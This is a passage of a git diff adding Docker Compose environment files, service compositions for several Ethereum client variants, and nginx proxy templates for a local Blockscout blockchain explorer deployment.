NFT_MEDIA_HANDLER_BACKFILL_ENQUEUE_BUSY_WAITING_TIMEOUT= +# NFT_MEDIA_HANDLER_CACHE_UNIQUENESS_MAX_SIZE= + +# old UI vars + +# SHOW_TENDERLY_LINK=false +# TENDERLY_CHAIN_PATH= +# NETWORK= +# SUBNETWORK=Awesome chain +# LOGO=/images/blockscout_logo.svg +# SUPPORTED_CHAINS={} +# JSON_RPC= +# APPS_MENU=true +# EXTERNAL_APPS=[] +# SHOW_ADDRESS_MARKETCAP_PERCENTAGE=true +# TXS_STATS_ENABLED=false +# SHOW_MAINTENANCE_ALERT=false +# MAINTENANCE_ALERT_MESSAGE= +# SHOW_PRICE_CHART=false +# SHOW_PRICE_CHART_LEGEND=false +# SHOW_TXS_CHART=true +# FOOTER_CHAT_LINK= +# FOOTER_FORUM_LINK_ENABLED= +# FOOTER_FORUM_LINK= +# FOOTER_TELEGRAM_LINK_ENABLED= +# FOOTER_TELEGRAM_LINK= +# FOOTER_GITHUB_LINK= +# FOOTER_LOGO=/images/blockscout_logo.svg +# FOOTER_LINK_TO_OTHER_EXPLORERS=false +# FOOTER_OTHER_EXPLORERS={} +# CONTRACT_MAX_STRING_LENGTH_WITHOUT_TRIMMING=2040 +# CONTRACT_DISABLE_INTERACTION= +# HIDE_BLOCK_MINER=false +# DISPLAY_TOKEN_ICONS=false +# MIXPANEL_TOKEN= +# MIXPANEL_URL= +# AMPLITUDE_API_KEY= +# AMPLITUDE_URL= +# NETWORK_PATH=/ +# RE_CAPTCHA_CLIENT_KEY= +# RE_CAPTCHA_V3_CLIENT_KEY= +# HACKNEY_DEFAULT_POOL_SIZE=1000 +# UNIVERSAL_PROXY_CONFIG_URL= diff --git a/docker-compose/envs/common-frontend.env b/docker-compose/envs/common-frontend.env new file mode 100644 index 000000000000..4b070ea45f3c --- /dev/null +++ b/docker-compose/envs/common-frontend.env @@ -0,0 +1,19 @@ +NEXT_PUBLIC_API_HOST=localhost +NEXT_PUBLIC_API_PROTOCOL=http +NEXT_PUBLIC_STATS_API_HOST=http://localhost:8080 +NEXT_PUBLIC_NETWORK_NAME=Awesome chain +NEXT_PUBLIC_NETWORK_SHORT_NAME=Awesome chain +NEXT_PUBLIC_NETWORK_ID=5 +NEXT_PUBLIC_NETWORK_CURRENCY_NAME=Ether +NEXT_PUBLIC_NETWORK_CURRENCY_SYMBOL=ETH +NEXT_PUBLIC_NETWORK_CURRENCY_DECIMALS=18 +NEXT_PUBLIC_API_BASE_PATH=/ +NEXT_PUBLIC_APP_HOST=localhost +NEXT_PUBLIC_APP_PROTOCOL=http +NEXT_PUBLIC_HOMEPAGE_CHARTS=['daily_txs'] +NEXT_PUBLIC_VISUALIZE_API_HOST=http://localhost:8081 +NEXT_PUBLIC_IS_TESTNET=true +NEXT_PUBLIC_API_WEBSOCKET_PROTOCOL=ws +NEXT_PUBLIC_API_SPEC_URL=https://raw.githubusercontent.com/blockscout/blockscout-api-v2-swagger/main/swagger.yaml +# Required to enable blockchain interaction +# NEXT_PUBLIC_WALLET_CONNECT_PROJECT_ID= diff --git a/docker-compose/envs/common-nft-media-handler.env b/docker-compose/envs/common-nft-media-handler.env new file mode 100644 index 000000000000..fd68542cf31b --- /dev/null +++ b/docker-compose/envs/common-nft-media-handler.env @@ -0,0 +1,19 @@ +# NFT_MEDIA_HANDLER_AWS_ACCESS_KEY_ID= +# NFT_MEDIA_HANDLER_AWS_SECRET_ACCESS_KEY= +# NFT_MEDIA_HANDLER_AWS_BUCKET_HOST= +# NFT_MEDIA_HANDLER_AWS_PUBLIC_BUCKET_URL= +# NFT_MEDIA_HANDLER_AWS_BUCKET_NAME= + + +NFT_MEDIA_HANDLER_ENABLED=true +NFT_MEDIA_HANDLER_REMOTE_DISPATCHER_NODE_MODE_ENABLED=true +NFT_MEDIA_HANDLER_IS_WORKER=true +NFT_MEDIA_HANDLER_NODES_MAP="{\"producer@172.18.0.4\": \"/folder_1\"}" +# NFT_MEDIA_HANDLER_WORKER_CONCURRENCY= +# NFT_MEDIA_HANDLER_WORKER_BATCH_SIZE= +# NFT_MEDIA_HANDLER_WORKER_SPAWN_TASKS_TIMEOUT= + + +RELEASE_NODE=worker@0.0.0.0 +RELEASE_DISTRIBUTION=name +RELEASE_COOKIE=secret_cookie \ No newline at end of file diff --git a/docker-compose/envs/common-smart-contract-verifier.env b/docker-compose/envs/common-smart-contract-verifier.env new file mode 100644 index 000000000000..5fdf805ec670 --- /dev/null +++ b/docker-compose/envs/common-smart-contract-verifier.env @@ -0,0 +1,39 @@ +# Those are examples of existing configuration variables and their default values. +# When uncommented, they would overwrite corresponding values from `base.toml` +# configuration file. + +SMART_CONTRACT_VERIFIER__SERVER__HTTP__ENABLED=true +SMART_CONTRACT_VERIFIER__SERVER__HTTP__ADDR=0.0.0.0:8050 +SMART_CONTRACT_VERIFIER__SERVER__HTTP__MAX_BODY_SIZE=2097152 + +SMART_CONTRACT_VERIFIER__SERVER__GRPC__ENABLED=false +SMART_CONTRACT_VERIFIER__SERVER__GRPC__ADDR=0.0.0.0:8051 + +SMART_CONTRACT_VERIFIER__SOLIDITY__ENABLED=true +SMART_CONTRACT_VERIFIER__SOLIDITY__COMPILERS_DIR=/tmp/solidity-compilers +SMART_CONTRACT_VERIFIER__SOLIDITY__REFRESH_VERSIONS_SCHEDULE=0 0 * * * * * + +# It depends on the OS you are running the service on +SMART_CONTRACT_VERIFIER__SOLIDITY__FETCHER__LIST__LIST_URL=https://solc-bin.ethereum.org/linux-amd64/list.json +#SMART_CONTRACT_VERIFIER__SOLIDITY__FETCHER__LIST__LIST_URL=https://solc-bin.ethereum.org/macosx-amd64/list.json +#SMART_CONTRACT_VERIFIER__SOLIDITY__FETCHER__LIST__LIST_URL=https://solc-bin.ethereum.org/windows-amd64/list.json + +SMART_CONTRACT_VERIFIER__VYPER__ENABLED=true +SMART_CONTRACT_VERIFIER__VYPER__COMPILERS_DIR=/tmp/vyper-compilers +SMART_CONTRACT_VERIFIER__VYPER__REFRESH_VERSIONS_SCHEDULE=0 0 * * * * * + +# It depends on the OS you are running the service on +SMART_CONTRACT_VERIFIER__VYPER__FETCHER__LIST__LIST_URL=https://raw.githubusercontent.com/blockscout/solc-bin/main/vyper.list.json +#SMART_CONTRACT_VERIFIER__VYPER__FETCHER__LIST__LIST_URL=https://raw.githubusercontent.com/blockscout/solc-bin/main/vyper.macos.list.json + +SMART_CONTRACT_VERIFIER__SOURCIFY__ENABLED=true +SMART_CONTRACT_VERIFIER__SOURCIFY__API_URL=https://sourcify.dev/server/ +SMART_CONTRACT_VERIFIER__SOURCIFY__VERIFICATION_ATTEMPTS=3 +SMART_CONTRACT_VERIFIER__SOURCIFY__REQUEST_TIMEOUT=10 + +SMART_CONTRACT_VERIFIER__METRICS__ENABLED=false +SMART_CONTRACT_VERIFIER__METRICS__ADDR=0.0.0.0:6060 +SMART_CONTRACT_VERIFIER__METRICS__ROUTE=/metrics + +SMART_CONTRACT_VERIFIER__JAEGER__ENABLED=false +SMART_CONTRACT_VERIFIER__JAEGER__AGENT_ENDPOINT=localhost:6831 diff --git a/docker-compose/envs/common-stats.env b/docker-compose/envs/common-stats.env new file mode 100644 index 000000000000..0d2c38c1af37 --- /dev/null +++ b/docker-compose/envs/common-stats.env @@ -0,0 +1,29 @@ +# Those are examples of existing configuration variables and their default values. +# When uncommented, they would overwrite corresponding values from `base.toml` +# configuration file. + +STATS__SERVER__HTTP__ENABLED=true +STATS__SERVER__HTTP__ADDR=0.0.0.0:8050 +STATS__SERVER__HTTP__MAX_BODY_SIZE=2097152 + +STATS__SERVER__GRPC__ENABLED=false +STATS__SERVER__GRPC__ADDR=0.0.0.0:8051 + +STATS__DB_URL= +STATS__BLOCKSCOUT_DB_URL= +STATS__CREATE_DATABASE=false +STATS__RUN_MIGRATIONS=false +STATS__DEFAULT_SCHEDULE=0 0 1 * * * * +STATS__FORCE_UPDATE_ON_START=false + +STATS__METRICS__ENABLED=false +STATS__METRICS__ADDR=0.0.0.0:6060 +STATS__METRICS__ROUTE=/metrics + +STATS__JAEGER__ENABLED=false +STATS__JAEGER__AGENT_ENDPOINT=localhost:6831 + +STATS__TRACING__ENABLED=true +STATS__TRACING__FORMAT=default + +STATS__BLOCKSCOUT_API_URL=http://host.docker.internal diff --git a/docker-compose/envs/common-user-ops-indexer.env b/docker-compose/envs/common-user-ops-indexer.env new file mode 100644 index 000000000000..3345cba483a7 --- /dev/null +++ b/docker-compose/envs/common-user-ops-indexer.env @@ -0,0 +1,48 @@ +## Those are examples of existing configuration variables and their default values. +## When uncommented, they would overwrite corresponding values from `base.toml` +## configuration file. + +USER_OPS_INDEXER__SERVER__HTTP__ENABLED=true +USER_OPS_INDEXER__SERVER__HTTP__ADDR=0.0.0.0:8050 +USER_OPS_INDEXER__SERVER__HTTP__MAX_BODY_SIZE=2097152 +USER_OPS_INDEXER__SERVER__GRPC__ENABLED=false +USER_OPS_INDEXER__SERVER__GRPC__ADDR=0.0.0.0:8051 + +USER_OPS_INDEXER__API__MAX_PAGE_SIZE=100 + +## (required) no default value available +USER_OPS_INDEXER__INDEXER__RPC_URL="" +USER_OPS_INDEXER__INDEXER__CONCURRENCY=20 +USER_OPS_INDEXER__INDEXER__ENTRYPOINTS__V06=true +USER_OPS_INDEXER__INDEXER__ENTRYPOINTS__V07=true + +USER_OPS_INDEXER__INDEXER__REALTIME__ENABLED=true + +USER_OPS_INDEXER__INDEXER__PAST_RPC_LOGS_INDEXER__ENABLED=true +USER_OPS_INDEXER__INDEXER__PAST_RPC_LOGS_INDEXER__BLOCK_RANGE=1000 + +USER_OPS_INDEXER__INDEXER__PAST_DB_LOGS_INDEXER__ENABLED=true +USER_OPS_INDEXER__INDEXER__PAST_DB_LOGS_INDEXER__START_BLOCK=-100000 +USER_OPS_INDEXER__INDEXER__PAST_DB_LOGS_INDEXER__END_BLOCK=0 + +## (required) no default value available +USER_OPS_INDEXER__DATABASE__CONNECT__URL="" +# OR +#USER_OPS_INDEXER__DATABASE__CONNECT__KV__HOST= +#USER_OPS_INDEXER__DATABASE__CONNECT__KV__PORT= +#USER_OPS_INDEXER__DATABASE__CONNECT__KV__USER= +#USER_OPS_INDEXER__DATABASE__CONNECT__KV__PASSWORD= +#USER_OPS_INDEXER__DATABASE__CONNECT__KV__DBNAME= + +USER_OPS_INDEXER__DATABASE__CREATE_DATABASE=false +USER_OPS_INDEXER__DATABASE__RUN_MIGRATIONS=false + +USER_OPS_INDEXER__METRICS__ENABLED=true +USER_OPS_INDEXER__METRICS__ADDR=0.0.0.0:6060 +USER_OPS_INDEXER__METRICS__ROUTE=/metrics + +USER_OPS_INDEXER__JAEGER__ENABLED=false +USER_OPS_INDEXER__JAEGER__AGENT_ENDPOINT=localhost:6831 + +USER_OPS_INDEXER__TRACING__ENABLED=true +USER_OPS_INDEXER__TRACING__FORMAT=default diff --git a/docker-compose/envs/common-visualizer.env b/docker-compose/envs/common-visualizer.env new file mode 100644 index 000000000000..b4fd470849cb --- /dev/null +++ b/docker-compose/envs/common-visualizer.env @@ -0,0 +1 @@ +VISUALIZER__SERVER__GRPC__ENABLED=false diff --git a/docker-compose/erigon.yml b/docker-compose/erigon.yml new file mode 100644 index 000000000000..c91739d076bf --- /dev/null +++ b/docker-compose/erigon.yml @@ -0,0 +1,87 @@ +version: '3.9' + +services: + redis-db: + extends: + file: ./services/redis.yml + service: redis-db + + db-init: + extends: + file: ./services/db.yml + service: db-init + + db: + depends_on: + db-init: + condition: service_completed_successfully + extends: + file: ./services/db.yml + service: db + + backend: + depends_on: + - db + - redis-db + extends: + file: ./services/backend.yml + service: backend + links: + - db:database + environment: + ETHEREUM_JSONRPC_VARIANT: 'erigon' + + visualizer: + extends: + file: ./services/visualizer.yml + service: visualizer + + sig-provider: + extends: + file: ./services/sig-provider.yml + service: sig-provider + + frontend: + depends_on: + - backend + extends: + file: ./services/frontend.yml + service: frontend + + stats-db-init: + extends: + file: ./services/stats.yml + service: stats-db-init + + stats-db: + depends_on: + stats-db-init: + condition: service_completed_successfully + extends: + file: ./services/stats.yml + service: stats-db + + stats: + depends_on: + - stats-db + - backend + extends: + file: ./services/stats.yml + service: stats + + user-ops-indexer: + depends_on: + - db + - backend + extends: + file: ./services/user-ops-indexer.yml + service: user-ops-indexer + + proxy: + depends_on: + - backend + - frontend + - stats + extends: + file: ./services/nginx.yml + service: proxy diff --git a/docker-compose/external-backend.yml b/docker-compose/external-backend.yml new file mode 100644 index 000000000000..4dd9e2852208 --- /dev/null +++ b/docker-compose/external-backend.yml @@ -0,0 +1,70 @@ +version: '3.9' + +services: + redis-db: + extends: + file: ./services/redis.yml + service: redis-db + + db-init: + extends: + file: ./services/db.yml + service: db-init + + db: + depends_on: + db-init: + condition: service_completed_successfully + extends: + file: ./services/db.yml + service: db + + visualizer: + extends: + file: ./services/visualizer.yml + service: visualizer + + sig-provider: + extends: + file: ./services/sig-provider.yml + service: sig-provider + + frontend: + extends: + file: ./services/frontend.yml + service: frontend + + stats-db-init: + extends: + file: ./services/stats.yml + service: stats-db-init + + stats-db: + depends_on: + stats-db-init: + condition: service_completed_successfully + extends: + file: ./services/stats.yml + service: stats-db + + stats: + depends_on: + - stats-db + extends: + file: ./services/stats.yml + service: stats + + user-ops-indexer: + depends_on: + - db + extends: + file: ./services/user-ops-indexer.yml + service: user-ops-indexer + + proxy: + depends_on: + - frontend + - stats + extends: + file: ./services/nginx.yml + service: proxy diff --git a/docker-compose/external-db.yml b/docker-compose/external-db.yml new file mode 100644 index 000000000000..082927beb053 --- /dev/null +++ b/docker-compose/external-db.yml @@ -0,0 +1,70 @@ +version: '3.9' + +services: + redis-db: + extends: + file: ./services/redis.yml + service: redis-db + + backend: + depends_on: + - redis-db + extends: + file: ./services/backend.yml + service: backend + environment: + ETHEREUM_JSONRPC_VARIANT: 'geth' + + visualizer: + extends: + file: ./services/visualizer.yml + service: visualizer + + sig-provider: + extends: + file: ./services/sig-provider.yml + service: sig-provider + + frontend: + depends_on: + - backend + extends: + file: ./services/frontend.yml + service: frontend + + stats-db-init: + extends: + file: ./services/stats.yml + service: stats-db-init + + stats-db: + depends_on: + stats-db-init: + condition: service_completed_successfully + extends: + file: ./services/stats.yml + service: stats-db + + stats: + depends_on: + - stats-db + - backend + extends: + file: ./services/stats.yml + service: stats + + user-ops-indexer: + depends_on: + - backend + extends: + file: ./services/user-ops-indexer.yml + service: user-ops-indexer + + proxy: + depends_on: + - backend + - frontend + - stats + extends: + file: ./services/nginx.yml + service: proxy diff --git a/docker-compose/external-frontend.yml b/docker-compose/external-frontend.yml new file mode 100644 index 000000000000..775ea67de6c0 --- /dev/null +++ b/docker-compose/external-frontend.yml @@ -0,0 +1,83 @@ +version: '3.9' + +services: + redis-db: + extends: + file: ./services/redis.yml + service: redis-db + + db-init: + extends: + file: ./services/db.yml + service: db-init + + db: + depends_on: + db-init: + condition: service_completed_successfully + extends: + file: ./services/db.yml + service: db + + backend: + depends_on: + - db + - redis-db + extends: + file: ./services/backend.yml + service: backend + links: + - db:database + environment: + ETHEREUM_JSONRPC_VARIANT: 'anvil' + ETHEREUM_JSONRPC_WS_URL: ws://host.docker.internal:8545/ + INDEXER_DISABLE_INTERNAL_TRANSACTIONS_FETCHER: 'true' + INDEXER_DISABLE_PENDING_TRANSACTIONS_FETCHER: 'true' + CHAIN_ID: '1337' + + visualizer: + extends: + file: ./services/visualizer.yml + service: visualizer + + sig-provider: + extends: + file: ./services/sig-provider.yml + service: sig-provider + + stats-db-init: + extends: + file: ./services/stats.yml + service: stats-db-init + + stats-db: + depends_on: + stats-db-init: + condition: service_completed_successfully + extends: + file: ./services/stats.yml + service: stats-db + + stats: + depends_on: + - stats-db + - backend + extends: + file: ./services/stats.yml + service: stats + + user-ops-indexer: + depends_on: + - db + - backend + extends: + file: ./services/user-ops-indexer.yml + service: user-ops-indexer + + proxy: + depends_on: + - backend + - stats + extends: + file: ./services/nginx.yml + service: proxy \ No newline at end of file diff --git a/docker-compose/geth-clique-consensus.yml b/docker-compose/geth-clique-consensus.yml new file mode 100644 index 000000000000..75a0b457e792 --- /dev/null +++ b/docker-compose/geth-clique-consensus.yml @@ -0,0 +1,88 @@ +version: '3.9' + +services: + redis-db: + extends: + file: ./services/redis.yml + service: redis-db + + db-init: + extends: + file: ./services/db.yml + service: db-init + + db: + depends_on: + db-init: + condition: service_completed_successfully + extends: + file: ./services/db.yml + service: db + + backend: + depends_on: + - db + - redis-db + extends: + file: ./services/backend.yml + service: backend + links: + - db:database + environment: + ETHEREUM_JSONRPC_VARIANT: 'geth' + BLOCK_TRANSFORMER: 'clique' + + visualizer: + extends: + file: ./services/visualizer.yml + service: visualizer + + sig-provider: + extends: + file: ./services/sig-provider.yml + service: sig-provider + + frontend: + depends_on: + - backend + extends: + file: ./services/frontend.yml + service: frontend + + stats-db-init: + extends: + file: ./services/stats.yml + service: stats-db-init + + stats-db: + depends_on: + stats-db-init: + condition: service_completed_successfully + extends: + file: ./services/stats.yml + service: stats-db + + stats: + depends_on: + - stats-db + - backend + extends: + file: ./services/stats.yml + service: stats + + user-ops-indexer: + depends_on: + - db + - backend + extends: + file: ./services/user-ops-indexer.yml + service: user-ops-indexer + + proxy: + depends_on: + - backend + - frontend + - stats + extends: + file: ./services/nginx.yml + service: proxy diff --git a/docker-compose/geth.yml b/docker-compose/geth.yml new file mode 100644 index 000000000000..deed14c686b9 --- /dev/null +++ b/docker-compose/geth.yml @@ -0,0 +1,87 @@ +version: '3.9' + +services: + redis-db: + extends: + file: ./services/redis.yml + service: redis-db + + db-init: + extends: + file: ./services/db.yml + service: db-init + + db: + depends_on: + db-init: + condition: service_completed_successfully + extends: + file: ./services/db.yml + service: db + + backend: + depends_on: + - db + - redis-db + extends: + file: ./services/backend.yml + service: backend + links: + - db:database + environment: + ETHEREUM_JSONRPC_VARIANT: 'geth' + + visualizer: + extends: + file: ./services/visualizer.yml + service: visualizer + + sig-provider: + extends: + file: ./services/sig-provider.yml + service: sig-provider + + frontend: + depends_on: + - backend + extends: + file: ./services/frontend.yml + service: frontend + + stats-db-init: + extends: + file: ./services/stats.yml + service: stats-db-init + + stats-db: + depends_on: + stats-db-init: + condition: service_completed_successfully + extends: + file: ./services/stats.yml + service: stats-db + + stats: + depends_on: + - stats-db + - backend + extends: + file: ./services/stats.yml + service: stats + + user-ops-indexer: + depends_on: + - db + - backend + extends: + file: ./services/user-ops-indexer.yml + service: user-ops-indexer + + proxy: + depends_on: + - backend + - frontend + - stats + extends: + file: ./services/nginx.yml + service: proxy diff --git a/docker-compose/hardhat-network.yml b/docker-compose/hardhat-network.yml new file mode 100644 index 000000000000..a2a54e48ef5f --- /dev/null +++ b/docker-compose/hardhat-network.yml @@ -0,0 +1,94 @@ +version: '3.9' + +services: + redis-db: + extends: + file: ./services/redis.yml + service: redis-db + + db-init: + extends: + file: ./services/db.yml + service: db-init + + db: + depends_on: + db-init: + condition: service_completed_successfully + extends: + file: ./services/db.yml + service: db + + backend: + depends_on: + - db + - redis-db + extends: + file: ./services/backend.yml + service: backend + links: + - db:database + environment: + ETHEREUM_JSONRPC_VARIANT: 'geth' + ETHEREUM_JSONRPC_WS_URL: ws://host.docker.internal:8545/ + INDEXER_DISABLE_PENDING_TRANSACTIONS_FETCHER: 'true' + INDEXER_INTERNAL_TRANSACTIONS_TRACER_TYPE: 'opcode' + CHAIN_ID: '31337' + + visualizer: + extends: + file: ./services/visualizer.yml + service: visualizer + + sig-provider: + extends: + file: ./services/sig-provider.yml + service: sig-provider + + frontend: + depends_on: + - backend + extends: + file: ./services/frontend.yml + service: frontend + environment: + NEXT_PUBLIC_NETWORK_ID: '31337' + NEXT_PUBLIC_NETWORK_RPC_URL: http://host.docker.internal:8545/ + + stats-db-init: + extends: + file: ./services/stats.yml + service: stats-db-init + + stats-db: + depends_on: + stats-db-init: + condition: service_completed_successfully + extends: + file: ./services/stats.yml + service: stats-db + + stats: + depends_on: + - stats-db + - backend + extends: + file: ./services/stats.yml + service: stats + + user-ops-indexer: + depends_on: + - db + - backend + extends: + file: ./services/user-ops-indexer.yml + service: user-ops-indexer + + proxy: + depends_on: + - backend + - frontend + - stats + extends: + file: ./services/nginx.yml + service: proxy diff --git a/docker-compose/microservices.yml b/docker-compose/microservices.yml new file mode 100644 index 000000000000..d6dd8b69d5a8 --- /dev/null +++ b/docker-compose/microservices.yml @@ -0,0 +1,57 @@ +version: '3.9' + +services: + visualizer: + extends: + file: ./services/visualizer.yml + service: visualizer + + sig-provider: + extends: + file: ./services/sig-provider.yml + service: sig-provider + ports: + - 8083:8050 + + + sc-verifier: + extends: + file: ./services/smart-contract-verifier.yml + service: smart-contract-verifier + ports: + - 8082:8050 + + stats-db-init: + extends: + file: ./services/stats.yml + service: stats-db-init + + stats-db: + depends_on: + stats-db-init: + condition: service_completed_successfully + extends: + file: ./services/stats.yml + service: stats-db + + stats: + depends_on: + - stats-db + extends: + file: ./services/stats.yml + service: stats + + user-ops-indexer: + extends: + file: ./services/user-ops-indexer.yml + service: user-ops-indexer + + proxy: + depends_on: + - visualizer + - stats + extends: + file: ./services/nginx.yml + service: proxy + volumes: + - "./proxy/microservices.conf.template:/etc/nginx/templates/default.conf.template" diff --git a/docker-compose/no-services.yml b/docker-compose/no-services.yml new file mode 100644 index 000000000000..99b1ce18a614 --- /dev/null +++ b/docker-compose/no-services.yml @@ -0,0 +1,63 @@ +version: '3.9' + +services: + redis-db: + extends: + file: ./services/redis.yml + service: redis-db + + db-init: + extends: + file: ./services/db.yml + service: db-init + + db: + depends_on: + db-init: + condition: service_completed_successfully + extends: + file: ./services/db.yml + service: db + + backend: + depends_on: + - db + - redis-db + extends: + file: ./services/backend.yml + service: backend + build: + context: .. + dockerfile: ./docker/Dockerfile + args: + API_V1_READ_METHODS_DISABLED: "false" + DISABLE_WEBAPP: "false" + API_V1_WRITE_METHODS_DISABLED: "false" + ADMIN_PANEL_ENABLED: "" + RELEASE_VERSION: 9.0.2 + links: + - db:database + environment: + ETHEREUM_JSONRPC_HTTP_URL: http://host.docker.internal:8545/ + ETHEREUM_JSONRPC_TRACE_URL: http://host.docker.internal:8545/ + ETHEREUM_JSONRPC_WS_URL: ws://host.docker.internal:8545/ + CHAIN_ID: '1337' + + frontend: + depends_on: + - backend + extends: + file: ./services/frontend.yml + service: frontend + environment: + NEXT_PUBLIC_STATS_API_HOST: + + proxy: + depends_on: + - backend + - frontend + extends: + file: ./services/nginx-explorer.yml + service: proxy + volumes: + - "./proxy/explorer.conf.template:/etc/nginx/templates/default.conf.template" diff --git a/docker-compose/proxy/default.conf.template b/docker-compose/proxy/default.conf.template new file mode 100644 index 000000000000..cebe8a837b3d --- /dev/null +++ b/docker-compose/proxy/default.conf.template @@ -0,0 +1,93 @@ +map $http_upgrade $connection_upgrade { + + default upgrade; + '' close; +} + +server { + listen 80; + server_name localhost; + proxy_http_version 1.1; + + location ~ ^/(api(?!-docs$)|socket|sitemap.xml|auth/auth0|auth/auth0/callback|auth/logout) { + proxy_pass ${BACK_PROXY_PASS}; + proxy_http_version 1.1; + proxy_set_header Host "$host"; + proxy_set_header X-Real-IP "$remote_addr"; + proxy_set_header X-Forwarded-For "$proxy_add_x_forwarded_for"; + proxy_set_header X-Forwarded-Proto "$scheme"; + proxy_set_header Upgrade "$http_upgrade"; + proxy_set_header Connection $connection_upgrade; + proxy_cache_bypass $http_upgrade; + } + location / { + proxy_pass ${FRONT_PROXY_PASS}; + proxy_http_version 1.1; + proxy_set_header Host "$host"; + proxy_set_header X-Real-IP "$remote_addr"; + proxy_set_header X-Forwarded-For "$proxy_add_x_forwarded_for"; + proxy_set_header X-Forwarded-Proto "$scheme"; + proxy_set_header Upgrade "$http_upgrade"; + proxy_set_header Connection $connection_upgrade; + proxy_cache_bypass $http_upgrade; + } +} +server { + listen 8080; + server_name localhost; + proxy_http_version 1.1; + proxy_hide_header Access-Control-Allow-Origin; + proxy_hide_header Access-Control-Allow-Methods; + add_header 'Access-Control-Allow-Origin' 'http://localhost' always; + add_header 'Access-Control-Allow-Credentials' 'true' always; + add_header 'Access-Control-Allow-Methods' 'PUT, GET, POST, OPTIONS, DELETE, PATCH' always; + + location / { + proxy_pass http://stats:8050/; + proxy_http_version 1.1; + proxy_set_header Host "$host"; + proxy_set_header X-Real-IP "$remote_addr"; + proxy_set_header X-Forwarded-For "$proxy_add_x_forwarded_for"; + proxy_set_header X-Forwarded-Proto "$scheme"; + proxy_set_header Upgrade "$http_upgrade"; + proxy_set_header Connection $connection_upgrade; + proxy_cache_bypass $http_upgrade; + } +} +server { + listen 8081; + server_name localhost; + proxy_http_version 1.1; + proxy_hide_header Access-Control-Allow-Origin; + proxy_hide_header Access-Control-Allow-Methods; + add_header 'Access-Control-Allow-Origin' 'http://localhost' always; + add_header 'Access-Control-Allow-Credentials' 'true' always; + add_header 'Access-Control-Allow-Methods' 'PUT, GET, POST, OPTIONS, DELETE, PATCH' always; + add_header 'Access-Control-Allow-Headers' 'DNT,Keep-Alive,User-Agent,X-Requested-With,If-Modified-Since,Cache-Control,Content-Type,Range,Authorization,x-csrf-token' always; + + location / { + proxy_pass http://visualizer:8050/; + proxy_http_version 1.1; + proxy_buffering off; + proxy_set_header Host "$host"; + proxy_set_header X-Real-IP "$remote_addr"; + proxy_connect_timeout 30m; + proxy_read_timeout 30m; + proxy_send_timeout 30m; + proxy_set_header X-Forwarded-For "$proxy_add_x_forwarded_for"; + proxy_set_header X-Forwarded-Proto "$scheme"; + proxy_set_header Upgrade "$http_upgrade"; + proxy_set_header Connection $connection_upgrade; + proxy_cache_bypass $http_upgrade; + if ($request_method = 'OPTIONS') { + add_header 'Access-Control-Allow-Origin' 'http://localhost' always; + add_header 'Access-Control-Allow-Credentials' 'true' always; + add_header 'Access-Control-Allow-Methods' 'PUT, GET, POST, OPTIONS, DELETE, PATCH' always; + add_header 'Access-Control-Allow-Headers' 'DNT,Keep-Alive,User-Agent,X-Requested-With,If-Modified-Since,Cache-Control,Content-Type,Range,Authorization,x-csrf-token' always; + add_header 'Access-Control-Max-Age' 1728000; + add_header 'Content-Type' 'text/plain charset=UTF-8'; + add_header 'Content-Length' 0; + return 204; + } + } +} \ No newline at end of file diff --git a/docker-compose/proxy/explorer.conf.template b/docker-compose/proxy/explorer.conf.template new file mode 100644 index 000000000000..7cc794ede6a6 --- /dev/null +++ b/docker-compose/proxy/explorer.conf.template @@ -0,0 +1,34 @@ +map $http_upgrade $connection_upgrade { + + default upgrade; + '' close; +} + +server { + listen 80; + server_name localhost; + proxy_http_version 1.1; + + location ~ ^/(api(?!-docs$)|socket|sitemap.xml|auth/auth0|auth/auth0/callback|auth/logout) { + proxy_pass ${BACK_PROXY_PASS}; + proxy_http_version 1.1; + proxy_set_header Host "$host"; + proxy_set_header X-Real-IP "$remote_addr"; + proxy_set_header X-Forwarded-For "$proxy_add_x_forwarded_for"; + proxy_set_header X-Forwarded-Proto "$scheme"; + proxy_set_header Upgrade "$http_upgrade"; + proxy_set_header Connection $connection_upgrade; + proxy_cache_bypass $http_upgrade; + } + location / { + proxy_pass ${FRONT_PROXY_PASS}; + proxy_http_version 1.1; + proxy_set_header Host "$host"; + proxy_set_header X-Real-IP "$remote_addr"; + proxy_set_header X-Forwarded-For "$proxy_add_x_forwarded_for"; + proxy_set_header X-Forwarded-Proto "$scheme"; + proxy_set_header Upgrade "$http_upgrade"; + proxy_set_header Connection $connection_upgrade; + proxy_cache_bypass $http_upgrade; + } +} \ No newline at end of file diff --git a/docker-compose/proxy/microservices.conf.template b/docker-compose/proxy/microservices.conf.template new file mode 100644 index 000000000000..708812f57113 --- /dev/null +++ b/docker-compose/proxy/microservices.conf.template @@ -0,0 +1,65 @@ +map $http_upgrade $connection_upgrade { + + default upgrade; + '' close; +} + +server { + listen 8080; + server_name localhost; + proxy_http_version 1.1; + proxy_hide_header Access-Control-Allow-Origin; + proxy_hide_header Access-Control-Allow-Methods; + add_header 'Access-Control-Allow-Origin' 'http://localhost:3000' always; + add_header 'Access-Control-Allow-Credentials' 'true' always; + add_header 'Access-Control-Allow-Methods' 'PUT, GET, POST, OPTIONS, DELETE, PATCH' always; + + location / { + proxy_pass http://stats:8050/; + proxy_http_version 1.1; + proxy_set_header Host "$host"; + proxy_set_header X-Real-IP "$remote_addr"; + proxy_set_header X-Forwarded-For "$proxy_add_x_forwarded_for"; + proxy_set_header X-Forwarded-Proto "$scheme"; + proxy_set_header Upgrade "$http_upgrade"; + proxy_set_header Connection $connection_upgrade; + proxy_cache_bypass $http_upgrade; + } +} +server { + listen 8081; + server_name localhost; + proxy_http_version 1.1; + proxy_hide_header Access-Control-Allow-Origin; + proxy_hide_header Access-Control-Allow-Methods; + add_header 'Access-Control-Allow-Origin' 'http://localhost:3000' always; + add_header 'Access-Control-Allow-Credentials' 'true' always; + add_header 'Access-Control-Allow-Methods' 'PUT, GET, POST, OPTIONS, DELETE, PATCH' always; + add_header 'Access-Control-Allow-Headers' 'DNT,Keep-Alive,User-Agent,X-Requested-With,If-Modified-Since,Cache-Control,Content-Type,Range,Authorization,x-csrf-token' always; + + location / { + proxy_pass http://visualizer:8050/; + proxy_http_version 1.1; + proxy_buffering off; + proxy_set_header Host "$host"; + proxy_set_header X-Real-IP "$remote_addr"; + proxy_connect_timeout 30m; + proxy_read_timeout 30m; + proxy_send_timeout 30m; + proxy_set_header X-Forwarded-For "$proxy_add_x_forwarded_for"; + proxy_set_header X-Forwarded-Proto "$scheme"; + proxy_set_header Upgrade "$http_upgrade"; + proxy_set_header Connection $connection_upgrade; + proxy_cache_bypass $http_upgrade; + if ($request_method = 'OPTIONS') { + add_header 'Access-Control-Allow-Origin' 'http://localhost:3000' always; + 